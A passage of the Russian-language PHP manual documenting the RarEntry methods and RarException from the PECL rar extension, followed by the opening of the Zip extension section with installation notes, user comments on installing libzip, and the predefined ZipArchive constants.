case RAR_HOST_WIN32:
echo "Win32\n";
break;
case RAR_HOST_MACOS:
echo "MacOS\n";
break;
case RAR_HOST_UNIX:
echo "Unix/Linux\n";
break;
case RAR_HOST_BEOS:
echo "BeOS\n";
break;
}

?>

Смотрите также

  • RarEntry::extract() - Извлекает элемент из архива

User Contributed Notes

There are no user contributed notes for this page.


Возвращает метод компрессии элемента

  • « RarEntry::getHostOs
  • RarEntry::getName »
  • PHP Manual
  • RarEntry
  • Возвращает метод компрессии элемента

RarEntry::getMethod

(PECL rar >= 0.1)

RarEntry::getMethod — Возвращает метод компрессии элемента

Описание

public RarEntry::getMethod(): int

RarEntry::getMethod() возвращает число соответствующее методу компрессии, использовавшемуся при создании текущего элемента архива.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает номер метода или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования RarEntry::getMethod()

<?php

$rar_file = rar_open('example.rar') or die("Не удалось открыть Rar архив");

$entry = rar_entry_get($rar_file, 'Dir/file.txt') or die("Не удалось найти такую запись");

echo "Номер метода: " . $entry->getMethod();

?>

User Contributed Notes

There are no user contributed notes for this page.


Возвращает имя элемента

  • « RarEntry::getMethod
  • RarEntry::getPackedSize »
  • PHP Manual
  • RarEntry
  • Возвращает имя элемента

RarEntry::getName

(PECL rar >= 0.1)

RarEntry::getName — Возвращает имя элемента

Описание

public RarEntry::getName(): string

Возвращает имя элемента массива (вместе с путём).

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает имя элемента в виде строки, или false в случае возникновения ошибки.

Список изменений

Версия | Описание
PECL rar 2.0.0 | Начиная с версии 2.0.0 возвращается строка в кодировке Unicode/UTF-8.

Примеры

Пример #1 Пример использования RarEntry::getName()

<?php

// этот пример работает, даже если страница не в кодировке UTF-8
// для перекодирования в UTF-8 вызывается mb_convert_encoding

$rar_file = rar_open('example.rar') or die("Не удалось открыть Rar архив");

$entry = rar_entry_get($rar_file, 'Dir/file.txt') or die("Не удалось найти такую запись");

echo "Имя элемента: " . mb_convert_encoding(
htmlentities(
$entry->getName(),
ENT_COMPAT,
"UTF-8"
),
"HTML-ENTITIES",
"UTF-8"
);

?>

User Contributed Notes

There are no user contributed notes for this page.


Возвращает размер сжатого элемента

  • « RarEntry::getName
  • RarEntry::getStream »
  • PHP Manual
  • RarEntry
  • Возвращает размер сжатого элемента

RarEntry::getPackedSize

(PECL rar >= 0.1)

RarEntry::getPackedSize — Возвращает размер сжатого элемента

Описание

public RarEntry::getPackedSize(): int

Возвращает размер сжатого элемента архива.

Замечание:

Учтите, что на платформах с 32-х битными целыми long (включая Windows x64), максимальный возвращаемый размер ограничен 2 ГБ. Проверьте константу PHP_INT_MAX.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает размер сжатого элемента, или false в случае возникновения ошибки.

Список изменений

Версия | Описание
PECL rar 2.0.0 | Данный метод теперь возвращает правильные значения для сжатых данных больше 2 ГБ на платформах с 64-х битными целыми (int) и никогда не возвращает отрицательные значения на всех платформах.

Примеры

Пример #1 Пример использования RarEntry::getPackedSize()

<?php

$rar_file = rar_open('example.rar') or die("Не удалось открыть Rar архив");

$entry = rar_entry_get($rar_file, 'Dir/file.txt') or die("Не удалось найти такую запись");

echo "Размер сжатого элемента " . $entry->getName() . " = " . $entry->getPackedSize() . " байтов";

?>

User Contributed Notes

There are no user contributed notes for this page.


Получить обработчик для записи

  • « RarEntry::getPackedSize
  • RarEntry::getUnpackedSize »
  • PHP Manual
  • RarEntry
  • Получить обработчик для записи

RarEntry::getStream

(PECL rar >= 2.0.0)

RarEntry::getStream — Получить обработчик для записи

Описание

public RarEntry::getStream(string $password = ?): resource|false

Возвращает обработчик, поддерживающий операцию чтения. Этот обработчик умеет распаковывать запись на лету.

Обработчик не уничтожается при вызове rar_close().

Внимание

Результирующий поток не проверяется на целостность. Следовательно никак не определяется порча файла или расшифровка с неверным ключом. Проверка контрольной суммы разжатого и расшифрованного файла полностью на совести разработчика.

Список параметров

password

Пароль, использовавшийся для шифрования записи. Если запись не шифрована, то этот параметр игнорируется и в целом может быть опущен. Если же параметр опущен, а запись шифрована, то будет использован пароль заданный в функции rar_open(), если конечно он был задан. Если был задан неверный пароль, явно или неявно через rar_open(), этот метод вернёт поток с неверными данными. Если пароль не задан вообще, а он нужен, то метод вернёт false. Зашифрована ли запись или нет можно проверить с помощью RarEntry::isEncrypted().

Возвращаемые значения

Обработчик или false в случае возникновения ошибки.

Список изменений

Версия | Описание
PECL rar 3.0.0 | Поддержка RAR-архивов с дублирующимися именами записей теперь работает нормально.

Примеры

Пример #1 Пример использования RarEntry::getStream()

<?php

$rar_file = rar_open('example.rar');
if ($rar_file === false)
die("Не удалось открыть Rar архив");

$entry = rar_entry_get($rar_file, 'Dir/file.txt');
if ($entry === false)
die("Не удалось найти такую запись");

$stream = $entry->getStream();
if ($stream === false)
die("Не удалось получить поток.");

rar_close($rar_file); //поток не зависит от файла

while (!feof($stream)) {
$buff = fread($stream, 8192);
if ($buff !== false)
echo $buff;
else
break; //ошибка fread
}

fclose($stream);

?>

Смотрите также

  • RarEntry::extract() - Извлекает элемент из архива
  • обёртка rar://

User Contributed Notes

There are no user contributed notes for this page.


Возвращает размер элемента в распакованном состоянии

  • « RarEntry::getStream
  • RarEntry::getVersion »
  • PHP Manual
  • RarEntry
  • Возвращает размер элемента в распакованном состоянии

RarEntry::getUnpackedSize

(PECL rar >= 0.1)

RarEntry::getUnpackedSize — Возвращает размер элемента в распакованном состоянии

Описание

public RarEntry::getUnpackedSize(): int

Возвращает размер элемента архива в распакованном состоянии.

Замечание:

Учтите, что на платформах с 32-х битными целыми long (включая Windows x64), максимальный возвращаемый размер ограничен 2 ГБ. Проверьте константу PHP_INT_MAX.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает размер распакованного элемента, или false в случае возникновения ошибки.

Список изменений

Версия | Описание
PECL rar 2.0.0 | Данный метод теперь возвращает правильные значения для сжатых данных больше 2 ГБ на платформах с 64-х битными целыми (int) и никогда не возвращает отрицательные значения на всех платформах.

Возвращаемые значения

Пример #1 Пример использования RarEntry::getUnpackedSize()

<?php

$rar_file = rar_open('example.rar') or die("Не удалось открыть Rar архив");

$entry = rar_entry_get($rar_file, 'Dir/file.txt') or die("Не удалось найти такую запись");

echo "Размер распакованного элемента " . $entry->getName() . " = " . $entry->getPackedSize() . " байтов";

?>

User Contributed Notes

There are no user contributed notes for this page.


Возвращает минимальную версию программы RAR, необходимую для распаковки элемента

  • « RarEntry::getUnpackedSize
  • RarEntry::isDirectory »
  • PHP Manual
  • RarEntry
  • Возвращает минимальную версию программы RAR, необходимую для распаковки элемента

RarEntry::getVersion

(PECL rar >= 0.1)

RarEntry::getVersion — Возвращает минимальную версию программы RAR, необходимую для распаковки элемента

Описание

public RarEntry::getVersion(): int

Возвращает минимальную версию программы RAR (т.е. WinRAR), необходимую для распаковки элемента архива. Она закодирована в виде: 10 * основная версия + минорная версия.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает версию или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования RarEntry::getVersion()

<?php

$rar_file = rar_open('example.rar') or die("Не удалось открыть Rar архив");

$entry = rar_entry_get($rar_file, 'Dir/file.txt') or die("Не удалось найти такую запись");

echo "Версия Rar, необходимая для распаковки: " . $entry->getVersion();

?>

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, является ли запись директорией

  • « RarEntry::getVersion
  • RarEntry::isEncrypted »
  • PHP Manual
  • RarEntry
  • Проверяет, является ли запись директорией

RarEntry::isDirectory

(PECL rar >= 2.0.0)

RarEntry::isDirectory — Проверяет, является ли запись директорией

Описание

public RarEntry::isDirectory(): bool

Проверяет, является ли текущая запись директорией.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true или false в зависимости от результата.

Примечания

Функция доступна с версии 2.0.0, а для более ранних версий можно проверять атрибуты записи (Работает только для файлов, сжатых в RAR для Windows или Unix):

<?php
//...
//Откроем файл, получим запись и сохраним в переменной $e...
//...

$isDirectory = (bool) ((($e->getHostOs() == RAR_HOST_WIN32) && ($e->getAttr() & 0x10)) ||
(($e->getHostOs() == RAR_HOST_UNIX) && (($e->getAttr() & 0xf000) == 0x4000)));
?>

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, зашифрована ли запись

  • « RarEntry::isDirectory
  • RarEntry::__toString »
  • PHP Manual
  • RarEntry
  • Проверяет, зашифрована ли запись

RarEntry::isEncrypted

(PECL rar >= 2.0.0)

RarEntry::isEncrypted — Проверяет, зашифрована ли запись

Описание

public RarEntry::isEncrypted(): bool

Проверяет, зашифрована ли текущая запись.

Замечание:

В одном и том же архиве для разных файлов могут использоваться разные пароли.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true или false в зависимости от результата.

User Contributed Notes

There are no user contributed notes for this page.


Получить текстовое представление записи

  • « RarEntry::isEncrypted
  • RarException »
  • PHP Manual
  • RarEntry
  • Получить текстовое представление записи

RarEntry::__toString

(PECL rar >= 2.0.0)

RarEntry::__toString — Получить текстовое представление записи

Описание

public RarEntry::__toString(): string

RarEntry::__toString() возвращает текстовое представление для текущей записи. Оно будет содержать информацию о том, является ли запись файлом или директорией (символические ссылки и прочие специальные объекты будут считаться файлами), имя записи в кодировке UTF-8 и её контрольная сумма (CRC). Вид и содержание этой информации в будущем может измениться, так что не стоит на них полагаться.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Текстовое представление записи.

User Contributed Notes

There are no user contributed notes for this page.


Класс RarException

(PECL rar >= 2.0.0)

Введение

Класс служит двум целям: это тип исключений, передаваемых функциями и методами модуля RAR, позволяющий с помощью стандартных методов производить запрос и определять ошибку работы модуля независимо от того, передаются ли исключения или лишь выдаются предупреждения.

Используются следующие коды ошибок:

  • -1 - ошибка вне библиотеки UnRAR
  • 11 - недостаточно памяти
  • 12 - неправильные данные
  • 13 - неправильный архив
  • 14 - неизвестный формат
  • 15 - ошибка открытия файла
  • 16 - ошибка создания файла
  • 17 - ошибка закрытия файла
  • 18 - ошибка чтения
  • 19 - ошибка записи
  • 20 - слишком маленький буфер
  • 21 - неизвестная ошибка RAR
  • 22 - требуется пароль

Обзор классов

final class RarException extends Exception {
/* Методы */
public static isUsingExceptions(): bool
public static setUsingExceptions(bool $using_exceptions): void
/* Наследуемые методы */
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

Содержание

  • RarException::isUsingExceptions — Проверить, будут ли функции возвращать ошибки или выбрасывать исключения
  • RarException::setUsingExceptions — Включить или отключить генерацию исключений вместо возвращения ошибок

User Contributed Notes

There are no user contributed notes for this page.


Проверить, будут ли функции возвращать ошибки или выбрасывать исключения

  • « RarException
  • RarException::setUsingExceptions »
  • PHP Manual
  • RarException
  • Проверить, будут ли функции возвращать ошибки или выбрасывать исключения

RarException::isUsingExceptions

(PECL rar >= 2.0.0)

RarException::isUsingExceptions — Проверить, будут ли функции возвращать ошибки или выбрасывать исключения

Описание

public static RarException::isUsingExceptions(): bool

Проверяет, будут ли функции RAR выбрасывать исключения или возвращать ошибки и вызывать предупреждения в большинстве случаев (не включая некоторые программные ошибки вроде передачи аргументов некорректных типов).

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true, если используются исключения и false, если нет.

Примеры

Пример #1 Пример использования RarException::isUsingExceptions()

<?php
//По умолчанию исключения не используются
var_dump(RarException::isUsingExceptions());
?>

Результатом выполнения данного примера будет что-то подобное:

bool(false)

Смотрите также

  • RarException::setUsingExceptions() - Включить или отключить генерацию исключений вместо возвращения ошибок

User Contributed Notes

There are no user contributed notes for this page.


Включить или отключить генерацию исключений вместо возвращения ошибок

  • « RarException::isUsingExceptions
  • Zip »
  • PHP Manual
  • RarException
  • Включить или отключить генерацию исключений вместо возвращения ошибок

RarException::setUsingExceptions

(PECL rar >= 2.0.0)

RarException::setUsingExceptions — Включить или отключить генерацию исключений вместо возвращения ошибок

Описание

public static RarException::setUsingExceptions(bool $using_exceptions): void

Если аргумент задан как true, то, вместо выдачи предупреждения и возврата ошибки, библиотека UnRAR будет выбрасывать исключение типа RarException в случае возникновения ошибки.

Также исключения будут выброшены в случае следующих ошибок, произошедших вне библиотеки (их код возврата должен быть равен -1):

  • попытка произведения действий с закрытым объектом RarArchive или объектом RarEntry относящегося к первому;
  • попытка извлечь отсутствующую запись с помощью RarArchive::getEntry().

Список параметров

using_exceptions

true для активации генерации исключений, false для деактивации (по умолчанию).

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования RarException::setUsingExceptions()

<?php
var_dump(RarException::isUsingExceptions());
$arch = RarArchive::open("does_not_exist.rar");
var_dump($arch);

RarException::setUsingExceptions(true);
var_dump(RarException::isUsingExceptions());
$arch = RarArchive::open("does_not_exist.rar");
var_dump($arch); //not reached
?>

Результатом выполнения данного примера будет что-то подобное:

bool(false)

Warning: RarArchive::open(): Failed to open does_not_exist.rar: ERAR_EOPEN (file open error) in C:\php_rar\trunk\tests\test.php on line 3
bool(false)
bool(true)

Fatal error: Uncaught exception 'RarException' with message 'unRAR internal error: Failed to open does_not_exist.rar: ERAR_EOPEN (file open error)' in C:\php_rar\trunk\tests\test.php:8
Stack trace:
#0 C:\php_rar\trunk\tests\test.php(8): RarArchive::open('does_not_exist....')
#1 {main}
  thrown in C:\php_rar\trunk\tests\test.php on line 8

Смотрите также

  • RarException::isUsingExceptions() - Проверить, будут ли функции возвращать ошибки или выбрасывать исключения

User Contributed Notes

There are no user contributed notes for this page.


Zip

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Примеры
  • ZipArchive — Класс ZipArchive
    • ZipArchive::addEmptyDir — Добавляет новую директорию
    • ZipArchive::addFile — Добавляет в ZIP-архив файл по указанному пути
    • ZipArchive::addFromString — Добавляет файл в ZIP-архив, используя его содержимое
    • ZipArchive::addGlob — Добавить файлы из директории в соответствии с шаблоном
    • ZipArchive::addPattern — Добавить файлы из директории в соответствии с шаблоном регулярного выражения PCRE
    • ZipArchive::clearError — Удаляет сообщение об ошибке статуса, системные и/или сообщения модуля zip
    • ZipArchive::close — Закрывает активный архив (открытый или вновь созданный)
    • ZipArchive::count — Подсчитывает количество файлов в архиве
    • ZipArchive::deleteIndex — Удаляет элемент в архиве, используя его индекс
    • ZipArchive::deleteName — Удаляет элемент в архиве, используя его имя
    • ZipArchive::extractTo — Извлекает содержимое архива
    • ZipArchive::getArchiveComment — Возвращает комментарий ZIP-архива
    • ZipArchive::getArchiveFlag — Возвращает значение глобального флага ZIP-архива
    • ZipArchive::getCommentIndex — Возвращает комментарий элемента, используя его индекс
    • ZipArchive::getCommentName — Возвращает комментарий элемента, используя его имя
    • ZipArchive::getExternalAttributesIndex — Извлечь внешние атрибуты записи по её индексу
    • ZipArchive::getExternalAttributesName — Извлечь внешние атрибуты записи по её имени
    • ZipArchive::getFromIndex — Возвращает содержимое элемента по его индексу
    • ZipArchive::getFromName — Возвращает содержимое элемента по его имени
    • ZipArchive::getNameIndex — Возвращает имя элемента по его индексу
    • ZipArchive::getStatusString — Возвращают статус сообщения об ошибке, системный и/или zip-статус
    • ZipArchive::getStream — Получить дескриптор файла элемента, определённый по имени элемента (только для чтения)
    • ZipArchive::getStreamIndex — Получает обработчик файла для записи, определённой её индексом (только для чтения)
    • ZipArchive::getStreamName — Получает обработчик файла для записи, определённой её именем (только для чтения)
    • ZipArchive::isCompressionMethodSupported — Проверяет, поддерживается ли метод сжатия libzip
    • ZipArchive::isEncryptionMethodSupported — Проверяет, поддерживается ли метод шифрования libzip
    • ZipArchive::locateName — Возвращает индекс элемента в архиве
    • ZipArchive::open — Открывает ZIP-архив
    • ZipArchive::registerCancelCallback — Регистрирует callback-функцию для разрешения отмены во время закрытия архива
    • ZipArchive::registerProgressCallback — Регистрирует callback-функцию для предоставления обновлений при закрытии архива
    • ZipArchive::renameIndex — Переименовывает элемент по его индексу
    • ZipArchive::renameName — Переименовывает элемент по его имени
    • ZipArchive::replaceFile — Заменяет файл в ZIP-архиве указанным путём
    • ZipArchive::setArchiveComment — Устанавливает комментарий к ZIP-архиву
    • ZipArchive::setArchiveFlag — Устанавливает глобальный флаг ZIP-архива
    • ZipArchive::setCommentIndex — Устанавливает комментарий к элементу по его индексу
    • ZipArchive::setCommentName — Устанавливает комментарий к элементу, заданному по имени
    • ZipArchive::setCompressionIndex — Установить метод сжатия записи, заданной её индексом
    • ZipArchive::setCompressionName — Установить метод сжатия записи, заданной по имени
    • ZipArchive::setEncryptionIndex — Установить метод шифрования записи по её индексу
    • ZipArchive::setEncryptionName — Установить метод шифрования записи по её имени
    • ZipArchive::setExternalAttributesIndex — Установить внешние атрибуты записи по её индексу
    • ZipArchive::setExternalAttributesName — Установка внешних атрибутов записи, заданной по имени
    • ZipArchive::setMtimeIndex — Установить время модификации файла по его индексу
    • ZipArchive::setMtimeName — Установить время модификации файла по его имени
    • ZipArchive::setPassword — Установка пароля для активного архива
    • ZipArchive::statIndex — Получение детальной информации о элементе по его индексу
    • ZipArchive::statName — Получение детальной информации об элементе по его имени
    • ZipArchive::unchangeAll — Отменяет все изменения, сделанные в архиве
    • ZipArchive::unchangeArchive — Возвращает все глобальные изменения, сделанные в архиве
    • ZipArchive::unchangeIndex — Отменяет все изменения у позиции с заданным индексом
    • ZipArchive::unchangeName — Отменяет все изменения у позиции с заданным именем
  • Функции Zip
    • zip_close — Закрывает дескриптор ZIP-архива
    • zip_entry_close — Закрывает дескриптор директории
    • zip_entry_compressedsize — Возвращает сжатый размер файла для дескриптора директории
    • zip_entry_compressionmethod — Возвращает метод сжатия дескриптора директории
    • zip_entry_filesize — Возвращает реальный размер файла для дескриптора директории
    • zip_entry_name — Получает имя дескриптора директории
    • zip_entry_open — Открывает директорию для чтения
    • zip_entry_read — Читает данные из открытого ранее дескриптора директории
    • zip_open — Открывает ZIP-архив
    • zip_read — Считывает следующую запись в ZIP-архиве

User Contributed Notes

singh206 at gmail dot com 10-Aug-2009 11:21
Caution:  If you accidentally let an extra '/' slip into your filepath, such as, '/myzipstuff//myfile.mp3', Mac OS X will handle resolve this, and you won't notice the typo.  Vista, and XP will have issues unzipping the file.


Введение

Модуль позволяет легко читать и записывать как в сами сжатые ZIP-архивы, так и в файлы внутри них.

User Contributed Notes

There are no user contributed notes for this page.


Требования

Для модуля требуется » libzip. Версия 1.1.2 была включена в PHP до версии 7.3.

Минимальная поддерживаемая версия — 0.11, но настоятельно рекомендуется использовать более высокую версию.

  • Для поддержки шифрования необходима версия 1.2, смотрите ZipArchive::setEncryptionIndex()
  • Для поддержки прогресса необходима версия 1.3, смотрите ZipArchive::registerProgressCallback()
  • Для поддержки отмены необходима версия 1.6, смотрите ZipArchive::registerCancelCallback()

User Contributed Notes

There are no user contributed notes for this page.


Установка

Системы Linux

Начиная с PHP 7.4.0, чтобы использовать эти функции, вы должны скомпилировать PHP с поддержкой zip с помощью --with-zip. Ранее поддержку zip нужно было включать с помощью параметра конфигурации --enable-zip. Начиная с PHP 7.4.0, пакет libzip удалён.

Начиная с PHP 7.3.0, сборка с использованием libzip, входящего в PHP, не рекомендуется, но всё же возможно путём добавления --without-libzip в конфигурацию.

Опция --with-libzip=DIR, указывающая использовать системную библиотеку libzip. Требуется libzip версии 0.11, рекомендуется версия 0.11.2 или новее.

Windows

Начиная с PHP 8.2.0, php_zip.dll DLL должен быть включён в php.ini. Ранее модуль был встроен по умолчанию.

Установка через PECL

Информация по установке этого модуля PECL может быть найдена в главе руководства Установка PECL модулей. Дополнительная информация, такая как новые версии, скачивание, исходные файлы, информация о разработчике и CHANGELOG, может быть найдена здесь: » https://pecl.php.net/package/zip.

User Contributed Notes

Anonymous 01-Jul-2020 11:29
This is how I installed it on my machine (ubuntu):
php 7:

sudo apt-get install php7.0-zip

service apache2 restart
php dot net at cage dot is 23-Jun-2020 03:00
For those of you asking about how to update this within your Dockerfile, the answer seems to be to add to the environment variable like so:

ENV PHP_EXTRA_CONFIGURE_ARGS="--with-apxs2 --disable-cgi --with-zip"
sgalyen at notspamarizona dot edu 15-Apr-2020 11:13
In trying to compile PHP 7.4.x on CentOS 7.x I'm running into the dreaded "Package requirements (libzip >= 0.11) were not met"

As the referenced RPM package for lipzip 0.11.2 is a 3rd party (repo named Psychotic Ninja Plus, doesn't exactly inspire faith) I tried to compile from source.

I was able to find the git sha1 for 0.11.1 and compile successfully - if anyone needs it:
d2aac947ccc85bd4abbd02a6d9b237bdaa89d3f0

If someone in the know could post the sha1 for 0.11.2, or whatever preferred version of libzip that successfully compiles, I would appreciate it!
Marcel 10-Dec-2018 01:34
Getting error

  configure: error: Please reinstall the libzip distribution

when compiling this extension for php 7.3?

You need to install the 'libzip' package.

In Dockerfile you would do this like:

# Install zip
RUN apt-get update && \
     apt-get install -y \
         libzip-dev \
         && docker-php-ext-install zip
mattcasiro at gmail dot com 23-Apr-2018 06:15
If installing this in a Docker image using:
"docker-php-ext-install zip"

you may get an error such as:
"docker-php-ext-install zip returned a non-zero code: 1"
or
"zip support requires ZLIB"

Docker documentation now suggests this as the proper way to install, to ensure the dependant libraries are installed with it:
# Install zip
RUN apt-get update && \
     apt-get install -y \
         zlib1g-dev \
         && docker-php-ext-install zip


Типы ресурсов

В Zip-модуле используются два типа ресурсов. Первый — директория Zip для Zip-архива, второй — Zip Entry для записей архива.

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы

Перечисленные ниже константы определены данным модулем и доступны либо в сборках PHP с поддержкой этого модуля, либо когда модуль динамически загружен во время выполнения.

ZipArchive использует константы класса. Существуют различные типы констант, основными из которых являются: Глобальные флаги (префикс AFL_), флаги (префикс FL_), ошибки (префикс ER_) и режима работы (без префикса).

Режимы открытия архива
ZipArchive::CREATE
Создавать архив, если он не существует.
ZipArchive::OVERWRITE
Если архив существует, то игнорировать текущее его содержимое. Другими словами, обработать его так же, как и пустой архив.
ZipArchive::EXCL
Выводить ошибку, если архив существует.
ZipArchive::RDONLY
Открыть архив в режиме только для чтения. Доступно с PHP 7.4.3 и PECL zip 1.17.1, соответственно, если скомпилировано с использованием libzip ? 1.0.0.
ZipArchive::CHECKCONS
Выполнять дополнительные проверки на структуру архива и выдавать ошибку при неудаче.
Глобальные флаги архива
ZipArchive::AFL_RDONLY
Архив доступен только для чтения, очистить его нельзя. Доступно, начиная с PHP 8.3.0 и PECL zip 1.22.0, соответственно, если собрано с libzip ? 1.10.0.
ZipArchive::AFL_IS_TORRENTZIP
Текущий архив записан в формате torrentzip. Доступно, начиная с PHP 8.3.0 и PECL zip 1.22.0, соответственно, если собран с libzip ? 1.10.0.
ZipArchive::AFL_WANT_TORRENTZIP
Запись архива в формате torrentzip. Доступно, начиная с PHP 8.3.0 и PECL zip 1.22.0, соответственно, если собран с libzip ? 1.10.0.
ZipArchive::AFL_CREATE_OR_KEEP_FILE_FOR_EMPTY_ARCHIVE
Не удалять файл, если архив пуст. Доступно, начиная с PHP 8.3.0 и PECL zip 1.22.0, соответственно, если собрано с libzip ? 1.10.0.
Флаги архива
ZipArchive::FL_NOCASE
Игнорировать регистр символов в именах элементов архива.
ZipArchive::FL_NODIR
Не учитывать пути директорий в архиве.
ZipArchive::FL_COMPRESSED
Читать сжатые данные.
ZipArchive::FL_UNCHANGED
Использовать исходные данные, игнорируя изменения.
ZipArchive::FL_RECOMPRESS
Принудительное повторное сжатие данных. Доступно с PHP 8.0.0 и PECL zip 1.18.0. Объявлено устаревшим, начиная с PHP 8.3.0 и PECL zip 1.22.1, будет удалено в будущей версии libzip.
ZipArchive::FL_ENCRYPTED
Чтение зашифрованных данных (подразумевается FL_COMPRESSED). Доступно с PHP 8.0.0 и PECL zip 1.18.0.
ZipArchive::FL_OVERWRITE
Если файл с именем существует, перезаписывает (заменяет) его. Доступно с PHP 8.0.0 и PECL zip 1.18.0.
ZipArchive::FL_LOCAL
В локальном заголовке. Доступно с PHP 8.0.0 и PECL zip 1.18.0.
ZipArchive::FL_CENTRAL
В центральном каталоге. Доступно с PHP 8.0.0 и PECL zip 1.18.0.
ZipArchive::FL_ENC_GUESS
Угадать кодировку строки (по умолчанию). Доступно с PHP 7.0.8.
ZipArchive::FL_ENC_RAW
Взять немодифицированную строку. Доступно с PHP 7.0.8.
ZipArchive::FL_ENC_STRICT
Строго следовать спецификации. Доступно с PHP 7.0.8.
ZipArchive::FL_ENC_UTF_8
Строка в кодировке UTF-8. Доступно с PHP 7.0.8.
ZipArchive::FL_ENC_CP437
Строка в кодировке CP437. Доступно с PHP 7.0.8.
ZipArchive::FL_OPEN_FILE_NOW
Открывает файл при добавлении вместо того, чтобы ждать закрытия архива. Помните о потреблении файловых дескрипторов. Доступно, начиная с PHP 8.3.0 и PECL zip 1.22.1.
Режимы сжатия
ZipArchive::CM_DEFAULT
Выбрать лучший метод сжатия "deflate" или "stored" (без сжатия).
ZipArchive::CM_STORE
Метод сжатия "stored" (без сжатия).
ZipArchive::CM_SHRINK
Метод сжатия "shrunk".
ZipArchive::CM_REDUCE_1
Метод сжатия "reduced" с коэффициентом 1.
ZipArchive::CM_REDUCE_2
Метод сжатия "reduced" с коэффициентом 2.
ZipArchive::CM_REDUCE_3
Метод сжатия "reduced" с коэффициентом 3.
ZipArchive::CM_REDUCE_4
Метод сжатия "reduced" с коэффициентом 4.
ZipArchive::CM_IMPLODE
Метод сжатия "imploded".
ZipArchive::CM_DEFLATE
Метод сжатия "deflated".
ZipArchive::CM_DEFLATE64
Метод сжатия "deflate64".
ZipArchive::CM_PKWARE_IMPLODE
Метод сжатия "PKWARE imploding".
ZipArchive::CM_BZIP2
Метод сжатия алгоритмом BZIP2.
ZipArchive::CM_LZMA
Метод сжатия алгоритмом LZMA.
ZipArchive::CM_LZMA2
Метод сжатия алгоритмом LZMA2. Доступно с PHP 7.4.3 и PECL zip 1.16.0, соответственно, если скомпилировано с использованием libzip ? 1.6.0.
ZipArchive::CM_ZSTD
Метод сжатия алгоритмом Zstandard. Доступно, начиная с PHP 8.0.0 и PECL zip 1.19.1, соответственно, если скомпилировано с использованием libzip ? 1.8.0.
ZipArchive::CM_XZ
Метод сжатия алгоритмом XZ. Доступно с PHP 7.4.3 и PECL zip 1.16.0, соответственно, если скомпилировано с использованием libzip ? 1.6.0.
ZipArchive::CM_TERSE
ZipArchive::CM_LZ77
ZipArchive::CM_WAVPACK
ZipArchive::CM_PPMD
Ошибки
ZipArchive::ER_OK
Нет ошибок.
ZipArchive::ER_MULTIDISK
Многотомный ZIP-архив не поддерживается.
ZipArchive::ER_RENAME
Переименование временного файла не удалось.
ZipArchive::ER_CLOSE
Закрытие ZIP-архива не удалось.
ZipArchive::ER_SEEK
Ошибка поиска.
ZipArchive::ER_READ
Ошибка чтения.
ZipArchive::ER_WRITE
Ошибка записи.
ZipArchive::ER_CRC
Ошибка контрольной суммы.
ZipArchive::ER_ZIPCLOSED
Открытый ZIP-архив был закрыт.
ZipArchive::ER_NOENT
Нет такого файла.
ZipArchive::ER_EXISTS
Файл уже существует.
ZipArchive::ER_OPEN
Невозможно открыть файл.
ZipArchive::ER_TMPOPEN
Не удалось создать временный файл.
ZipArchive::ER_ZLIB
Ошибка Zlib.
ZipArchive::ER_MEMORY
Ошибка выделения памяти.
ZipArchive::ER_CHANGED (string)
Запись была изменена.
ZipArchive::ER_COMPNOTSUPP
Метод сжатия не поддерживается.
ZipArchive::ER_EOF
Преждевременный конец файла.
ZipArchive::ER_INVAL
Недопустимый аргумент.
ZipArchive::ER_NOZIP
Не ZIP-архив.
ZipArchive::ER_INTERNAL
Внутренняя ошибка.
ZipArchive::ER_INCONS
ZIP-архив несовместим.
ZipArchive::ER_REMOVE
Невозможно удалить файл.
ZipArchive::ER_DELETED
Запись была удалена.
ZipArchive::ER_ENCRNOTSUPP
Метод шифрования не поддерживается. Доступно, начиная с PHP 7.4.3 и PECL zip 1.16.1, соответственно.
ZipArchive::ER_RDONLY
Архив только для чтения. Доступно, начиная с PHP 7.4.3 и PECL zip 1.16.1, соответственно.
ZipArchive::ER_NOPASSWD
Пароль не указан. Доступно, начиная с PHP 7.4.3 и PECL zip 1.16.1, соответственно.
ZipArchive::ER_WRONGPASSWD
Предоставлен неверный пароль. Доступно, начиная с PHP 7.4.3 и PECL zip 1.16.1, соответственно.
ZipArchive::ER_OPNOTSUPP
Операция не поддерживается. Доступно, начиная с PHP 7.4.3 и PECL zip 1.16.1, соответственно, если скомпилировано с использованием libzip ? 1.0.0.
ZipArchive::ER_INUSE
Ресурс всё ещё используется. Доступно, начиная с PHP 7.4.3 и PECL zip 1.16.1, соответственно, если скомпилировано с использованием libzip ? 1.0.0.
ZipArchive::ER_TELL
Указана ошибка. Доступно, начиная с PHP 7.4.3 и PECL zip 1.16.1, соответственно, если скомпилировано с использованием libzip ? 1.0.0.
ZipArchive::ER_COMPRESSED_DATA
Сжатые данные неверны. Доступно, начиная с PHP 7.4.3 и PECL zip 1.16.1, соответственно, если скомпилировано с использованием libzip ? 1.0.0.
ZipArchive::ER_CANCELLED
Операция отменена. Доступно, начиная с PHP 7.4.3 и PECL zip 1.16.1, соответственно, если скомпилировано с использованием libzip ? 1.0.0.
ZipArchive::ER_DATA_LENGTH
Неожиданная длина данных. Доступно, начиная с PHP 8.3.0 и PECL zip 1.22.0, соответственно, если собрано с libzip ? 1.10.0.
ZipArchive::ER_NOT_ALLOWED
